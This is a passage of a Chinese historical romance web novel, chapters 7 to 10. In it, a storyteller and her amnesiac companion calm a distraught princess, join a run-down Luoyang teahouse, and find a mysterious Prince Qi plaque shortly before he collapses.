见堂下一阵喧闹,白持盈刚要接着说,便见那老板从后堂匆匆走来,气势汹汹道:“是何人在此闹事!”
他瞧见白持盈一个柔弱的姑娘并上辜筠玉一个小白脸,竟搅得自己堂堂听月小筑不能作营生,轻蔑呵斥:“来人,给我把这歹人拉下去!”
却不想他话音未落,身后一雄武非常、锦衣华服的壮汉伸手捏住了他的肩膀,直捏得他龇牙咧嘴。
“你先一边儿去,这位姑娘还没给我们大伙儿讲完呢。”
小筑老板被扔到一旁,还未来得及反应,便听得白持盈敲起一声止语木响,美目巧兮,眼神流转,换得满堂皆静。
不远处生生马蹄入耳,知是方才那小丫头喊来了救兵,见目的已达,白持盈未多言,只勾唇微微勾唇,拱手一笑。
“诸位看官,欲知后事如何,且听下回分解。”
7. 痴女儿结舌哭身世,呆贼人哑言道天机
灯火通明,帘栊上的穗子被夜风吹得飘飘曳曳,整齐划一的脚步声一重,便似被惊到了一样一哆嗦,又复躺在夜色中。
那方才离去的小丫鬟早已不复慌张模样,虽发髻还歪斜着,却是昂着脑袋翘着鼻头,身后跟着一队气势雄壮威武的士兵,施施然回到了听月小筑。
“安王到——”
那小丫头此时是气也不虚,手也不颤,一脚将台上的说书人踹下去,登上听月小筑那比平地高了半个人的说书台子,手中拿着一玉制的令牌举起,朝台下众人高声宣道。
一时台下呼啦啦跪了一片人,白持盈虽从这主仆二人神色行止中猜出几分家世不凡,却不想一下子请来了洛阳城的三座大佛之一,心中暗道事儿起的过大,反倒不美了。
这老安王,说来白持盈也是知晓三分。他是当今皇上的亲叔叔,先帝的同胞弟弟,年轻时为联乌犹大破北蛮立下汗马功劳,是赫赫有名的大将军王,可惜在最后一次大战中伤了右腿,从此将息在了洛阳静养,当了个有名的闲王。
他只有一个独子,十几年前下南洋剿匪时意外病逝了,世子妃怀着遗腹子难产而亡,只留下一个因早产天生结巴的女儿,便是这真宁郡主萧如意。
传闻这郡主是千娇万宠着长大,四岁时说着花开花谢多伤人心,老王爷便叫人生造了一院子永开不衰的纸花来,四季如春地开着。
自己小时候也是见过她一两面的,只没想到这郡主后来张成了这么个……呆子姑娘。
可方才那景况,除去找这被欺压的小姑娘的家里人,也未有旁的法子解围,思来想去也只得如此,白持盈心中暗叹一口气,只望得安王府这小郡主日后长个记性。
一堂人平身后,那丫鬟才赶忙下来扶起白辜二人,从袖中逃出一个沉甸甸的荷包,闭唇巧笑:“二位贵人快快收下,这是我家主子的一点儿小小心意,不成谢礼,不知二位贵人姓甚名甚?可到府上一歇脚?我家王爷实在是腿脚不便,不然万万是要来亲表谢意的,万望二位贵人莫要怪罪。”
白持盈与辜筠玉对视一眼,皆瞧见了对方眼里的拒绝,便转头搭上那丫鬟的手,推辞道:“不敢当不敢当,待过会儿姑娘回了府上,万要替我二人问过王爷的好,王爷贤名我们久闻多时,今儿见了郡主气魄才知不愧是安王府的女儿,在这小小酒楼里竟然杀出了千军万马的气势。”
见这小丫头骄傲地一扬鼻子,笑着回道:“那是!”说罢她一转头,望着那脸色惨白的听月小筑老板哼斥:“哪像有些人,便是不知道每天嘴里嚼些甚的干噎菜,叫人贻笑大方!”
看她藏不住事儿的样子,白持盈心叹这主仆二人果然都还是个孩子脾性,忙忙打断她要继续的话头。
“今儿还有事要办,便不多叨扰王爷了,妹妹万要回去代我们二人请安的才是。”
那丫鬟见白持盈几番推让,也不强请二人了,只一把强硬将那满满当当的荷包塞到她手中,方才一行人有说有笑相跟着出了酒楼。
本要分别,那真宁郡主却不乐意了,她许是知道自己讲长话要叫人笑话,便也不多舌,只拦在白持盈一行人要离去的路上,结结巴巴着一个词一个词蹦出口来:“我……跟、跟你们走。”
“郡主!”那小丫鬟登时急了,一双淡眉竖倒,命令两卫士左右开弓就要将郡主架走,引得郡主挣扎不已,头上戴的小帽掉在地上,好不滑稽。
可她一边儿挣扎着,一边儿却哭了。
“都、都怪你们,若、若不是你们不、不叫我、我与旁人玩、玩儿,我怎、怎会连话、话都说不清。”
侍卫和丫鬟一时皆愣了,真宁郡主坐在地上哇哇大哭,一头乌黑的青丝散落,哪儿还有个郡主样子。
“郡主!郡主!你快起来呀!若让王爷知道了可如何是好!”
“那我、我不如、如死了算了!死了干、干净!”
真宁郡主伤心上头,起身便要往柱子上撞,白持盈连忙一闪身拦住了她,两个人额头撞在一起,疼得白持盈眼冒金星,可见这郡主是使了真劲儿想要寻死的。
见人额头起了通红的一片,辜筠玉脸色一沉,将白持盈捞起,掐着白持盈的下巴仔细查看她额头上的伤。
郡主也惊住了,她没想到白持盈会突然出来拦住她,捂着自己额头连忙上前想要也看看,却不料被辜筠玉沁了冰一般的眼神吓了一跳,差点儿又哭出来。
白持盈额上虽通红一片,却觉着肯定没自己耳根红,她从辜筠玉手中躲开,眼神落在道路旁被车马行人行走磨得光净的鹅卵石上,半点儿也不敢看他。
这人怎的总这般随意自然,倒显得她十分忸怩。
但容不得她再多思,那丫鬟“扑通”一声跪在一旁,“咚咚咚”给郡主磕了好几个头,哽咽着道:“主子啊,您有什么气儿且尽管向我们撒去,作践自个儿是个什么法子,您去了叫老主子怎么办……呜呜呜……”
堂内众人被士兵拦在屋内无法出来,却也是被外头的声响吸引了目光,纷纷二二三三探头来望。
辜筠玉手中转着扇子,心中诸多不耐。
见那小郡主呆呆跪坐在月光下,白持盈先将那丫鬟扶起,开口道:“我与郡主说两句话可行?”
丫鬟实在是别无他法,只得点点头。
白持盈蹲在那小郡主身前,先将她满脸的泪珠都揩干净了,才笑着开口:“我们真宁怎么还跟个小猫似的。”
真宁郡主呆在原地,愣愣看着她。
“哎呀,你看姐姐这身衣裳,好看么?”
真宁郡主点点头。
见人缓过来些,白持盈上前凑到她耳朵旁,低声道:“偷偷告诉你,我不告诉旁人,这身衣裳,我攒了好久的钱才找人做的呢,我外祖母以前最喜欢这个样式的衣裳了,可惜她再也没机会看见我穿了。”
听了这话,真宁郡主一惊,支支吾吾半晌也没说出个完整句子来。
白持盈拍拍她的头,将人从地上扶起。
“今儿就先回去可好?咱们俩这也算是结过义了,等我安顿下来,就去安王府找你玩儿可好?”她指指额头上的伤,看着眼前的局促不安小姑娘忍不住笑了出来。
月色渐渐被薄云擦去一角,白持盈和依依不舍的真宁郡主招招手告别,那小姑娘走了好长一段儿路,还回过头来问:“姐、姐姐,我改、改日再来找你!”
辜筠玉瞧着白持盈在月色下挥手,显得十分快活的样子。
真是叫人费解。
这世上怎么会有这样的人呢?
辜筠玉抬头,望着那轮月亮一点、一点地被渐积的云层吞吃,最后剩下一个囫囵的影子。
额角一阵剧痛,辜筠玉却只眯了眯眼,神色淡淡地低头,侧目看着姑娘被月色和灯火一同照得盈亮的脸颊。
忽然很想仔细瞧瞧她。
于是辜筠玉伸手,掐着她的下巴迫使她转头看向自己。
因为
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惊诧,白持盈鸦羽般的睫翼上下忽动,眼睛因瞧着他而一时盛满了影子,被睫毛一扫,就沉了下去。
“……我看看额头上的伤。”辜筠玉不晓得自己为什么要和她解释这一句,他隐隐感到有些什么东西像檐下刚消的积雪般,一滴,两滴,落在心上。
抬手揉了揉自己红肿一片的额头,白持盈忙向后躲开道:“多写公子关心,小女并无大碍。”
辜筠玉看着自己空荡荡的指尖和白持盈仓皇向前的背影,勾唇一笑,觉得心情是从未有过的畅意。
真真的有意思极了。
*
三人走了约莫有两条街的路程,小盲女今儿显然兴致起来了,三句两句地和白辜二人搭着话。
“今天真气派……”
小盲女低着头,拿着棍子将路前滑落的积石扫开,声音微弱蚊讷。
白持盈伸手戳了戳辜筠玉:“这可得全靠好、哥、哥。这位好哥哥,你真不记得自己名姓吗,每日这么戳你也不成体统。”
将那当做摆设的扇子一收,辜筠玉拿扇骨撑着下巴认真道:“我是真真不记得了,不然此刻咱们早不必在这大街上游荡了。”
安王赠的银子可供用些时日,可总不是个长久之法,白持盈抛起那荷包,思索着几人该往哪儿住去。
大道的雪早化了,只踩到路边时才有咯吱咯吱的声响,辜筠玉和白持盈对过眼色,纷纷停下脚步。小盲女跟听得二人顿步,也跟着停了下来。
“有人跟着咱们。”
洛阳城的夜是极安静的,足以辨别出任何响动,辜筠玉大致听出了那人在个什么方位,随后两声“簌簌”之音果然再起,鬼鬼祟祟不可言道。没耐心再与贼人周旋,辜筠玉拾起地上一不大不小的石子,看着那影子,瞄准了向身后巷子一转弯处扔去。只听得“哎呦”一身,咕噜咙咚,一人从暗处跟个水桶一样顺滑地滚了出来,又迅速被一块儿大青石止住。他刚想爬起身,竟一脚踩空,又被积雪滑倒跌了下去。
……这贼人好像有点蠢笨。
二人正要上前瞧瞧他是什么货色,步还未行,却先听那贼人声音颤抖着大喊一声:“二位大侠手下留情!我……我不是小偷,也不想谋财害命,没有任何便宜打算,我……我是来请你们来我们客栈讲书的!”
竟又是个姑娘。
白持盈一挑眉,跟着辜筠玉上前,只见那吃了一嘴泥巴的“贼人”挣扎着抬头起身,见二人领着个小盲女上前来一探究竟,也顾不上什么形容狼狈,赶忙拿出一张写着几个蝌蚪丑字的单子来给二人看。
“若是听月小筑从前叫洛阳一等酒楼,我们便是紧挨着它之下的第二等,每日是客人摩拳擦掌,衣决成云……”
“……也许是摩肩接踵、衣袂成云?”白持盈试探着纠正她。
“对的对的,就是这样,不要紧的,重要的是——你们若来了,便一分不花、包吃包住!”
这人实在是太奇怪了。白持盈虽不欲冷待生人,却也没心思对付个疯子。今儿又实在有些疲乏,见这贼人确是不成威胁一小子,白持盈暂放下三分心来,转身拉着辜筠玉和小盲女就要走。却不料被这人一把抓住了衣袖,死死拽在了原地:“你……你别走!我认得你!”
见白持盈皱着眉扭过头来,这人得意一笑,用极低极哑的声音飞快地吐出话音来。
“我认得你的。”
“你,是苏府那个表小姐,姓白,对吧?”
8. 妹妹温言劝人劝事,哥哥灼火晃眼晃心
如巨石落地而碎,白持盈一副心肝登时一颤,怔在原地一瞬,脑海里飞速想着怎么应对现下景况。
这贼女子瞧着还没自己大,实在是不应当啊。况她从前实则不常来洛阳,只年景里探看老爷子老太太二人一二,故而在这洛阳城也只露过几面,如今又六年光阴梭逝,怎生连城中老人都认不出来的,叫这贼女子认了去?
她思绪飞转过,低头看向那还趴在原地的姑娘,见她一副瘦猴模样,只一双眼睛极大极亮,滴溜溜如葡萄般转过两遭,嘿嘿一笑:“是吧!你就是吧!”
白持盈一眯眼,也不再靠近她,直直站起身来冷笑:“你待如何?”
没想着这姑娘一个鲤鱼打挺从地上飞起,嘿嘿一擦鼻涕,叉腰道:“那天在医馆门口说要叫洛阳百姓都瞧上病的,也是你!”
她一副衣衫宽大,显然是不合身的尺码,风一吹衣料就呼呼作响,显得像衣服套在了麻杆上,连屁股都没有。衣料虽还算金贵,却一瞧就是穿了许久的,袖口都磨得起了些线头,瞧仔细了还能看见那宽大袖内的一片补丁。
这人一派滑稽,却仍自顾自言说着。
“嘿呦!许久未见你了!如今如何啊?苏大人家后头举家迁走了,也不见你来,倒叫咱们生分了。”她扬手摸摸自己的头发,从中抓出个虱子来,仔细瞧了一眼,才嘿嘿一笑弹走,并未问那日白持盈为何一番破落姿态。
白持盈确信自个儿未见过这人,这人却一副熟稔之样,难不成是舅舅从前结交过的大员之女?可瞧着也不甚像,白持盈愈看她愈是一头雾水。
那贼人叫瞧了半晌,也是不大能应付白持盈探寻的目光,只浑身不自在地摸摸手又摸摸脸,见人久久不答话,才蔫蔫道:“……不走就不走呗……”小贼人理了理自己的衣服,似乎在让自己瞧起来得体些。
“好,我同你去。”在那姑娘将要耷拉着一双极长的手闷闷时,白持盈忽得这样一开口,反倒惊了这人一跳。
“你……你同意了?”那姑娘麻利地站了起来,白持盈才瞧清楚,她的身材比例极不协调,手极长而腿极短,一派滑稽。
那姑娘见白持盈目光探寻,怯怯低下头嘟哝了两句话,白持盈未听清。
月光拉得极长,洛阳城一窝形色皆异的房子挤挨着歇在夜色里,抬头一望就能瞧见一折一折的黑山。时有一两声犬吠惊动树影,更夫在不远处扯着嗓子高喊道:“天干物燥,小心火烛——”
*
白持盈立在那门头破落的茶馆门口时,先默了一瞬。
夜深了,风还呼呼吹着,吹得劲儿没收住,就“哐当”一声将这茶馆破落的门头吹落下来,惹得旁户的大娘在屋内一声骂。
那贼人姑娘也有些尴尬,她试图扯着嗓子解释,却被白持盈伸手拦住。
“咱们先进去吧,不带我见见你们当家的?”白持盈瞧了辜筠玉一眼,辜筠玉立即会意,“唰”地将那扇子一收,在手里转过一圈儿,备着一有异动便出手。
他在身侧偷偷比了个“三”,白持盈只能继续吃着这人情债。
怎不叫她重生回牙牙学语时,她必要去学个盖世功夫来。
她悄悄伸手轻拧了辜筠玉一把。
那贼人没瞧见这些小动作,她显得有些紧张,将要领着三人入堂内,忽然扭头一问:“你怎知我就不是这当家的了?”
白持盈只淡淡一笑,未得理她。
这茶馆黑漆漆一片,白持盈走在那贼人姑娘后头,险些一个跟头翻过去,被一旁的辜筠玉拉回来,跌进身侧人香风阵阵的怀抱中。
“小心。”辜筠玉只是稳稳扶助她,未再做旁的动作,可兴许是什么也瞧不见的原因,一呼一吸都尽是勾逗折磨人的,白持盈愣愣顿住,竟一时不知如何动作。
倒是辜筠玉放稳当她后,收手侧身站回了一旁,给二人间恰好空出半臂的距离来,一只手虚虚握着他的腕子。
香风渐散,等那贼人姑娘再回过头来瞧几人跟上未时,白持盈才晃过神来,晓得该跟上了。
他们进了茶馆后的一处院子。
这院子里终于有了些光亮,却是莹莹点点的两三小团,白持盈凑近了一看,才发现是被圈在透光麻布里的萤火虫。
那院中一背影高挑之人并未回头,蹲在地上不知做着什么营生,听到背后贼人姑娘一声叫喊,才高声不耐道:“你这泼皮的,今儿又哪儿顽去了?这时节才回来?可不怕被狼叼走啃光了屁股肉?”
也是个女子。
贼人姑娘有些尴尬,正准备呛声几句,却见那方还蹲着的人霎时旋身飞地而起,一根长棍就要敲向白辜二人。
辜筠玉撤步拿扇骨一挡将她架在原地,二人乒里乓啷交手数个回合,女子棍子被辜筠玉持在手中一折一挽,最终重重摔在地上,却是哈哈笑了起来。
似是终于笑够了,她瞧了辜筠玉一眼,才惊发出声。
“怎生是个男的!石小四,谁叫你往回带男人了!”
那贼人姑娘一抖,耸着个肩将今儿“诓骗”白持盈三人来的前因后果解释了一通。
石当家的听罢长长叹过一口气,起身向白辜二人行了个不伦不类的礼,十分抱歉道:“实在抱歉,小四素日里被我惯坏了,那日医馆门前得见姑娘英姿便与她随口一说,若来日能再一见,也算是了了余生一心愿,却不想……这丫头行为若委琐鬼祟了些,我便再替她给几位赔个不是,她方才那些个什么苏府小姐的,怕也是杜撰,不可得信,想来是为了叫几位来我这破舍的由头,造孽啊你这家伙!”
语罢,她扬起一只海碗来大的手狠狠锤了石小四一掌。
石小四当即不乐意了,她一跺脚,愤愤瞪大了一双眼睛:“大姐姐!我好不容易叫人家过来的,你如今不想着留人,竟说这些话做什么……你、你气死我了!你也瞧见了,不仅这位小姐,那位公子能耐也大得很,有几个能将你打趴下的,若他们留下来,咱不仅不用卖了这老铺子,还能养大几个妹妹,你怎的跟个石头一样……”
语罢,她竟也呜呜咽咽地蹲在地上哭了起来。
白持盈揉了揉额角,望着月亮长叹一声。
今儿怎的一个个的都跟窦娥一般样子?
“那也不能骗人!说过多少次了,不许再做哪些腌臜营生,你是一点儿都没听进去!”
见她还要上手去打,白持盈连忙按住她的手,眉眼弯弯道:“也不过是小孩子碎嘴几句,我倒瞧着顽皮可爱,姐姐别动手,这非仁人兄姊之道。”
石当家的一愣,对着这花蕊鹅绒般的姑娘实在是提不起凶话来,只得面色尴尬地挠了挠头。
“我瞧着这地方挺好,宽大又整洁,今儿就算是我入股了,咱们一同试着盘活这茶楼,将‘洛阳第一楼’的名号从那海月小筑拿过来!”
在场人皆是一愣,
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唯有辜筠玉摇着扇子,轻轻为姑娘拂去了肩头一片落叶。
*
若早知道这破茶馆只剩下一间半卧房,白持盈定是要万万三思了再做决定的。
小盲女与石当家的一同睡去了,只剩下一间还算大的客间,白持盈话已说了出去总不能吞回来,白白扫一窝人的兴,只得看着辜筠玉心情十分好地提着一布袋萤火虫擦擦桌上的灰尘,擦擦窗台的灰尘,再擦擦门壁的灰尘。
她铺好了床铺,将多要来的一床被子楚河汉界般横在中央,才转头看向辜筠玉,怀中抱着那梆硬的枕头。
“我睡里头,你睡外头。”
“好。”辜筠玉掸掸破书架上的灰,和气答道。
“你晚上睡觉不会乱抻胳膊腿的罢?”
“不会。”辜筠玉掸掸破桌子上的灰,和气答道。
“你晚上也应该没打鼾习惯的罢?”
“没有。”辜筠玉将许久没用过的烛台也擦拭干净,和气答道。
“你晚上总不该梦游的罢!”
辜筠玉终于不再是那一副风轻云淡的样子,他长长地叹了一口气,将鸡毛掸子一扔,恰恰仍在书桌正中央,转过身来走向白持盈。
白持盈抱紧了枕头。
“……没有,都没有,我不乱动不打鼾不磨牙不梦游晚上睡着了就跟死了一样,绝对不会有任何非分之举,好妹妹,可以放心了吗?”
也觉着自个儿是没话找话的瞎担心,白持盈将枕头转过个儿来,讪讪道了声哦。
她将枕头放回原处,麻利下地踱步到窗前,从随身拿的小包袱里翻出那些被巡城士兵撕开的薄册,躲过辜筠玉无奈含笑的目光。
她也不晓得她自个儿在紧张个什么劲儿,都在破庙里息过夜了,她还忸怩在个这细微处?
不应当。
一边儿自己哄着自己,一边借着月光细细拿线重缝着那薄册,白持盈揉揉眼——光借着点滴月色究竟还是惹得眼睛不甚舒坦。也没旁的法子,大半夜的也没处去寻油灯蜡烛的,手中活计开始了一时又不好放下,白持盈只能歇一会儿缝一会儿,自己查看着自己那记事的簿子有无缺漏。
“吱呀”一声,白持盈抬头,才发现是辜筠玉推门走了出去,风呼啦啦一阵对流吹,门一开一闭,那人就消失在了夜色中。
白持盈也未作他想,只当他是觉着闷出去了,仍自顾自缝着那书页,只缝了一会子便觉得腰背酸痛、双眸昏昏,只得起身来缓缓。
却不料出去有两刻钟的辜筠玉反身折了回来,手中捧着个新制的红蜡,烛台正是方才他擦过的那方。
见白持盈呆站在窗边,辜筠玉将那方烛台并红蜡放到桌上,往前一推,才从怀中变戏法似的又取出小坛子酒来。
“天太迟了,这儿木柴又干,没法子煽起炉子来,明儿再说吧,我问那当家的寻了坛子热的百花酿,你先喝了再歇息。”
烛火如同跳动的一尾鱼儿,漾起半边暮冬夜色,留下几瓣疏疏的尾影。
“那蜡烛呢,哪儿寻的?”这红烛一瞧就是难得的好蜡制成,白持盈接过那坛子热烘烘、暖洋洋的百花酿,抿唇抬眸问。
辜筠玉将落了霜的外衣挂在门后,转身时恰对上姑娘一双因睁得溜圆而显得有些呆的美眸。
他细细将门锁严实了,挡去屋外一切风霜,过了半晌才倚身笑答:
“白姑娘何不猜猜?”
9. 玉宁碎旧匾额吃墨,月暂留新茶馆生金
白妹妹不想猜。
“我猜个什么,偏像求你来的。”白持盈偏过头,顺着烛火曳瑟的光继续缝着那册子,不再理会一旁抿唇轻笑的辜筠玉。“还有,石当家的都说了,那石小四不过胡说一通,算不得数的。”
她语罢,只见辜筠玉也未生气,拿着把小剪子将那烛芯子修过两下,好声好气道:“你总不肯告诉我名字,又不许我喊好妹妹,说出去旁人也是认你欺人几分的。”
那火光霎时又亮了些,白持盈将要搭话,却听辜筠玉继续瞎诌:“你若不喜欢这名字,不如我们起个旁的小字,也好平日里喊你……”
见他得寸进尺又甚一步,白持盈连忙站起,伸手捂住他的嘴,直摇得那木桌子吱呀作响。
“起个甚么!你、你这人真是……真是一通诡辩!”
见人真急得像个竖耳朵的兔子,辜筠玉见好就收,一手握着她伸出的腕子,一手将她差点散落的几张书页接住,理直气壮端端而言:“那你说喊什么?你说了我便听着,绝不作悔。”
白持盈见他一番态势,怎不知他已从方才巷口自己一番情态反应断出那石小四所言是真——搪塞的话骗骗心思单纯的石家姐妹可算数,却骗不了眼前这个千年的狐狸。
若不是他现在真真失忆了,怕是早已经猜出自己是谁。
“你不是什么都不记得了么?问我名姓又何用?”白持盈揉揉方才被他握紧的腕子,其实这人并未用多少力气,却偏叫她觉得腕上异样。
“这和这没关系。”辜筠玉难得认真道。
那是有什么旁的关系?
这话险险便要出口,叫白持盈咽了回去,字在唇舌处转了一圈儿,白持盈才下定了决心似的,那树枝子在土墙上划出两个其实不甚规整的字来。
“白持盈,‘持满如不盈,有德者能卒’的持盈。”
顺着昏昏的烛光,辜筠玉看清那两个字后,却什么都没说,只轻轻叹了一口气。
没等到他回音儿,弄不清这人又在做什么名堂,白持盈戳了他一把:“你又叹气个甚么?有话好好说。”
却听辜筠玉又叹了一口气:“我该先给妹妹研个墨来,叫你写纸上,好让我以后张在榻前日日瞧。今儿这么大的事儿,白叫这破墙强了风头去,失策失策。”
他一番话落,果见白持盈将那树枝子一扔,也不再缝本子了,只恨恨瞧他一眼后,和着羞一股脑坐回了床|上。
她甫一坐下,便砸吧出些不对。
这下来总不得就息夜这一步了吧?
左瞧瞧,右瞧瞧,白持盈也瞧不出第二件儿能供她一个人在床|上|做的事儿,只能心一横冲着辜筠玉喊道:“你转过去,我要更衣睡觉了。”
辜筠玉乖乖转过去面壁思过。
说是更衣,也不过是送了外头的几件子衣裳,白持盈很快就把那外衣放在一旁,将自己裹成一个卷儿缩回了被子里。
好冷,暮冬的夜里凉意是侵入骨筋的,白持盈手上冻疮隐隐痒痛,她忍着不去动自己的手指,只又往被子中央缩了缩。
听得背后窸窸窣窣的动静默了,辜筠玉顺着那墙上那“持盈”二字虚虚隔空写过一遍,问道:“我可以转过去了吗。”
没人理他。
知晓这是好了,辜筠玉又等过些许时候,才悠悠转过身去,将还散在桌上的书页归理好放在一处,熄灭烛火,翻身上床去。
将外衣脱过也与白持盈的一同放在角落,辜筠玉躺在床|上,神色微妙地瞧着那隆起的一团被褥,最后又笑意落下,冷冰冰的一面观音相。
月光从窗缝淌入,横横切过“持盈”那两个不成规整形状的字,恰在墙上照出一道光影来。
但未来得及莹亮他眉间朱砂,便被窗外飘流的云遮过,渐渐暗淡下去了。
“大小姐,你且留个门儿,当心着别把自己闷晕过去。”
说罢,他伸手将被子头放出一个口来,见白持盈蓬蓬一团青丝微动,最后伸出只手来将他的胳膊拍了回去。
*
第二日侵晨白持盈醒过来时,只觉得褥儿暖烘烘,被儿香喷喷,辜筠玉不知去向。
在床|上赖了一会子,窗外又放明了些,白持盈才不情不愿地蹬腿翻身,从床|上迷迷瞪瞪坐了起来。
屋外已有杂声,她换好衣裳,见门后又挂着件儿新的斗篷,簇新的样式,刚觉奇怪,便听“吱呀”一声,门叫人推开,辜筠玉捧着个碗走了进来。
他神色古怪地瞧了白持盈一眼,叹过一口气,将那碗放在桌上,也没再瞧着白持盈。
“他们新煮了丸子汤,还是热的,你先尝尝,你还要饼丝我再给你拿去。别在外头与他们混着吃了,吃一嘴北风不说,还打嗝个不停。”
他话音刚落,屋外便传来石小四“嗝嗝”的声儿,石当家的骂过几句“饿死鬼转世”,听着像是在给她拍背。
白持盈探头,果见那碗中腾腾还冒着热气,先抬眸看了眼辜筠玉,心下不免觉着温热,便只得先声谢过,捧着那丸子汤吃了。
好烫。
辜筠玉坐在桌旁,还是那般神色古怪地瞧了她一眼,难得吞吐一二:“你……”
“嗯?”白持盈从碗里抬头看他,一双眼睛里满是困惑。
“罢了,无妨。”辜筠玉收住了口,手指在桌上点过几下,撑着脸望她。
白持盈将那丸子汤放下,拿帕子拭了拭嘴,疑惑道:“你怎生的话留个开头又咽回去了,有说的你快快奖。”
“我说了你指定不高兴。”辜筠玉状似为难地弹了一下那碗沿。
白持盈当下警觉,生怕他又说个那些诡言,连连止住:“你还是休得讲了。”
“无妨,你总有一天会自个儿察觉的。”辜筠玉微微斜过身子,便瞧着白持盈边笑。
此话算是在白持盈心中埋下个醒,待出了门与石当家的商议如何拾掇这酒楼诸事时,也时不时神游一二将心思飘到这上头去。
“姑娘可要给咱们这地方换个名字?”石当家扛回那断成两半的牌匾,“哐嘡”一声仍在地上。
白持盈走进了歪头,才瞧清楚上面是歪歪斜斜的“金玉堂”三个大字。
见她看了半天不曾出声,石当家的有些紧张地搓搓手,试探着开口道:“这名字起的俗,当时是穷胡诌的,现下换一个恰好……”
却不想这沉默了半晌的姑娘忽然“嘿”地一转头,轻拍了一把她的肩头道:“我瞧着这名字甚好啊!响亮又顺口!咱不换,就用这个。姐姐可有未折的新牌匾?”
石当家的思虑了半晌,摸摸下巴又摸摸小臂,苦恼喃喃道:“好像没有……不过柴房又大小差不多的木板,可能使得?”
“使得的。”白持盈见石当家的往柴房里寻木板去了,便俯下身摸了摸那断掉的牌匾,竟手感奇特,冬日里也触之温热。
它将那牌匾翻过个面儿来,竟发现背面比之正面精致贵气许多,上面镂刻着几个起势苍劲的行楷,因为时日久了又常在暗面,很是字迹模糊。白持盈费力将那两块儿破匾拼到一块儿,辨别了半晌,才发现是“齐王府”三个大字。
她一惊,赶忙将那牌匾又翻过过去,心头却砰砰直跳,转头望着石当家忙碌寻东西的背影,不免有些后悔自己唐突。
这儿怎的会有齐王府大门的牌匾!
一旁许久未吭声的辜筠玉忽然握住了她的手,看着那又露出“金玉堂”三个歪歪扭扭大字的板子,也觉着不对,便沉声问道:“齐王府……是什么?”
“没什么的,不甚重要。”白持盈很显然不想继续这个话题,只搪塞了辜筠玉一句。
有些话可不兴多说。
辜筠玉何等聪明,哪里听不出白持盈话外之意,只点点头也不作声了。
石当家的找了那板子出来,很是高兴的模样,一张蜜
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黄的脸此时也因快活而泛出些红晕来,倒是显得比一般严肃模样多了几分生趣。
“这个如何?”她俯身小心将那板子放到地上,拍拍衣袖上的灰尘,叉腰问道。
“很可以!就这个罢!”白持盈戳戳辜筠玉的腰窝,笑意盈盈道:“好哥哥,帮我研个墨去吧。”
她身上正披着那件簇新的月白斗篷,显得人在苍白僻冷的冬天更像是一只灵巧的雪兔子。
辜筠玉站在书桌前帮她研墨时,想着姑娘溜圆的一双眼睛,不觉轻笑。而后他忽然顿下来,心中欣喜被剧烈的陌生感觉覆盖。
他脑中一片空白,却有一个无形的声音告诉他,你不应当这样。
*
洛阳城里那门庭萧瑟的茶馆“金玉堂”重新开张了。
它开张这天,小小的门店外头客人是比肩叠迹,不可细数。
只因这茶馆有三绝。
一是门头的匾。话说这牌匾其实并不精巧,更不气派,一块儿普普通通的木匾,却引来洛阳城许多爱笔好墨者纷纷行来观看。只因这新书的“金玉堂”二字,铁画银钩,容与风流,人言之颇有前朝太师许明公风采。
二是别样的酒。听洛阳城最爱品酒的老汉说,十几年了,他竟再未品到过如此甘甜宜人的清酒,叫人酌之如入云山花果之境,好不畅快!且这茶馆的酒每日里只供二十坛,来后了便只能就着白水瓜子听书。
三是讲书的人。这茶馆老板据说是耗费了一声的积蓄,请来了那日在听月小筑风采灼人的小姐,她只在艳阳最好的冬天,细雨最密的夏天,桃花最灼的春天,硕果最累的秋天出来一讲奇书,若恰巧过路碰见了,那是走了个大好的运!
更重要的是,无论你是富若范翁再世,还是贫如颜生枕草,不分身份贵贱高低,都能来听书——贵只贵在那百花酿和提字上。
金玉堂奇,奇在这茶馆不如往俗,没有门槛。
“哎呦!你开头说这百花酿买那些个银子,我还吓了一跳,说着这么贵的旧,怎会有人来买?可是不曾想,这么叫人半真半假的一说,倒成了个金饽饽了!”
石当家的在柜台前拿着算盘噼里啪啦算着这次讲书得来的银子,笑得嘴都呲大了几分。
白持盈拿着把银浪暗纹的扇子左右端详着,边思考怎样提字得当些,边回道:“老伯的酒本就不比旁的差,况且如今专供给咱们,旁人买不到,自然物以稀为贵起来。”
“你说的那些个什么公主小姐啊的,是真是假?”石小四依靠在新买的柜台上,摸着那崭新乌黑的台面,啧啧称奇。
“七分真三分假吧,得讲些百姓们爱听又有用的。”
“那新都公主后来真又嫁给那单于的孙子啦?”
“真的呀,他们后来还生了二子二女呢。那长子如今是新都的大单于。”
“哎呀,那这分明是十分真!真厉害,她还在西域各国中间跟博望侯一般游说众小国依汉抗蛮呢,真像那从前春秋战国时的纵横家,一言以定天下!”石小四最近跟着白持盈念了不少书,满脑子的之乎者也论道春秋。
白持盈一拍她脑瓜,笑道:“你今儿练字了吗?”
石小四听了这话,立时“哈呀”一声跑回了自己那屋,留下石当家的在原地连连摇头,嘴里念叨着“不成器”三个字。
终于想好了将字提在哪儿,白持盈满意地将那素扇看了又看,转头想喊辜筠玉,却发觉不知喊他什么好。
“那小子怎的取个墨取睡着了吗?”石当家也估摸着辜筠玉早该出来了,却还不见人影,心下奇怪。
屋中恰传来“哐当”一声。
白持盈心中一紧,赶忙放下手中的折扇,往屋中走去。
一推门,果见辜筠玉脸色惨白昏倒在地,桌上砚台滚落到床边,溅起点滴墨色。
那桌上正是白持盈前几天收起来的,那方刻了“齐王府”字样的匾额。
10. 梦里人早知身是客,画中仙迟悟情为牢
“他昏倒前确是没瞧见什么能刺激人的物件儿或者事情么?”
郎中婆婆边递给白持盈一张方子,手上边施着针。
“未曾的。”接过那方子,吩咐石小四看准了回婆婆那院子拿药,白持盈回过头来,还是方才那番说辞。
婆婆皱眉,却也没再追问什么,只喃喃道:“不应当呀,怎会忽然这样不好起来,不单是这失忆之症,全身的经脉气息皆乱了,若不是你察觉得早,方不知会是什么样子呢!”
白持盈心还未定下来,只神游着,也未回婆婆的话,心中却是千般思绪转过。
他之前瞧见了什么?进屋之前还好好的,一眨眼的功夫就病得吓人。左思右想,白持盈也只能将这“差错”放在那方匾额上。
倒还不如不翻过那匾额,当作甚么都不知道的好。
白持盈心思愈重,面上却不能显出来,被婆婆喊回神来,还得二二三三搭着话。
若说在当今的皇帝面前最不能提什么,便是这齐王府。
听她父亲言说,作为当朝唯一异姓封王的功臣,这齐王府的老祖宗曾跟着太祖皇帝打天下,立下过汗马功劳,位列昭玑阁八功臣之首,民间向来有着“萧宁共天下”的俗语。
